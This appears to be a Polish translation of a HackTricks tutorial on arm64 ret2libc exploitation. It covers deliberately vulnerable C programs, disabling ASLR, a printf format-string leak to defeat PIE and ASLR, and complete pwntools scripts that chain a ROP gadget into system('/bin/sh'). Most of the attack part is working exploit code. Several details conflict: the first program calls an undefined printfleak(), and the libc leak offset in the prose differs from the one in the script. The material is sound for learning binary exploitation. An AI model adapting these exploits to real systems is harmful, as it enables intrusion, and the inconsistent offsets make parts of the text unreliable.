Ret2lib + Printf leak - arm64

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Ret2lib - Omijanie NX za pomocą ROP (bez ASLR)

#include <stdio.h>

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompiluj bez canary:

clang -o rop-no-aslr rop-no-aslr.c -fno-stack-protector
# Disable aslr
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Znajdź przesunięcie

Przesunięcie x30

Tworząc wzorzec za pomocą pattern create 200, używając go i sprawdzając przesunięcie za pomocą pattern search $x30, możemy zobaczyć, że przesunięcie wynosi 108 (0x6c).

Przyglądając się rozłożonej funkcji głównej, możemy zobaczyć, że chcielibyśmy przeskoczyć do instrukcji skoku bezpośrednio do printf, którego przesunięcie od miejsca, w którym załadowany jest plik binarny, wynosi 0x860:

Znajdź system i ciąg /bin/sh

Ponieważ ASLR jest wyłączone, adresy będą zawsze takie same:

Znajdź Gadżety

Musimy mieć w x0 adres ciągu /bin/sh i wywołać system.

Korzystając z narzędzia rooper, znaleziono interesujący gadżet:

0x000000000006bdf0: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

Ten gadżet załaduje x0 z $sp + 0x18 a następnie załaduje adresy x29 i x30 ze stosu i przeskoczy do x30. Dzięki temu gadżetowi możemy kontrolować pierwszy argument i następnie skoczyć do systemu.

Wykorzystanie

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
libc.address = 0x0000fffff7df0000
binsh = next(libc.search(b"/bin/sh")) #Verify with find /bin/sh
system = libc.sym["system"]

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Ret2main
stack_offset = 108
ldr_x0_ret = p64(libc.address + 0x6bdf0) # ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x18 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
p.close()

Ret2lib - NX, ASL & PIE bypass z wyciekiem printf z stosu

#include <stdio.h>

void printfleak()
{
char buf[100];
printf("\nPrintf>\n");
fgets(buf, sizeof(buf), stdin);
printf(buf);
}

void bof()
{
char buf[100];
printf("\nbof>\n");
fgets(buf, sizeof(buf)*3, stdin);
}

void main()
{
printfleak();
bof();
}

Kompiluj bez canary:

clang -o rop rop.c -fno-stack-protector -Wno-format-security

PIE i ASLR, ale brak kanarka

  • Runda 1:

  • Wyciek PIE ze stosu

  • Wykorzystanie przepełnienia bufora, aby wrócić do funkcji main

  • Runda 2:

  • Wyciek libc ze stosu

  • ROP: ret2system

Wycieki z funkcji Printf

Ustawienie punktu przerwania przed wywołaniem funkcji printf pozwala zobaczyć, że na stosie znajdują się adresy do powrotu do binarnego pliku oraz adresy libc:

Próba różnych przesunięć, %21$p może ujawnić adres binarny (omijanie PIE), a %25$p może ujawnić adres libc:

Odejmując wyciekły adres libc od adresu bazowego libc, można zobaczyć, że przesunięcie adresu ujawnionego od bazy wynosi 0x49c40.

Przesunięcie x30

Zobacz poprzedni przykład, ponieważ przepełnienie bufora jest takie samo.

Znajdowanie Gadgetów

Podobnie jak w poprzednim przykładzie, musimy mieć w x0 adres do łańcucha /bin/sh i wywołać funkcję system.

Korzystając z narzędzia rooper, znaleziono kolejny interesujący gadżet:

0x0000000000049c40: ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

Wykorzystanie

from pwn import *
from time import sleep

p = process('./rop')  # For local binary
libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")

def leak_printf(payload, is_main_addr=False):
p.sendlineafter(b">\n" ,payload)
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
if is_main_addr:
response = response[:-4] + b"0000"
return int(response, 16)

def expl_bof(payload):
p.recv()
p.sendline(payload)

# Get main address
main_address = leak_printf(b"%21$p", True)
print(f"Bin address: {hex(main_address)}")

# Ret2main
stack_offset = 108
main_call_printf_offset = 0x860 #Offset inside main to call printfleak
print("Going back to " + str(hex(main_address + main_call_printf_offset)))
ret2main = b"A"*stack_offset + p64(main_address + main_call_printf_offset)
expl_bof(ret2main)

# libc
libc_base_address = leak_printf(b"%25$p") - 0x26dc4
libc.address = libc_base_address
print(f"Libc address: {hex(libc_base_address)}")
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]

# ret2system
ldr_x0_ret = p64(libc.address + 0x49c40) # ldr x0, [sp, #0x78]; ldp x29, x30, [sp], #0xc0; ret;

x29 = b"AAAAAAAA"
x30 = p64(system)
fill = b"A" * (0x78 - 0x10)
x0 = p64(binsh)

payload = b"A"*stack_offset + ldr_x0_ret + x29 + x30 + fill + x0
p.sendline(payload)

p.interactive()
Zacznij od zera i stań się ekspertem od hakowania AWS dzięki htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated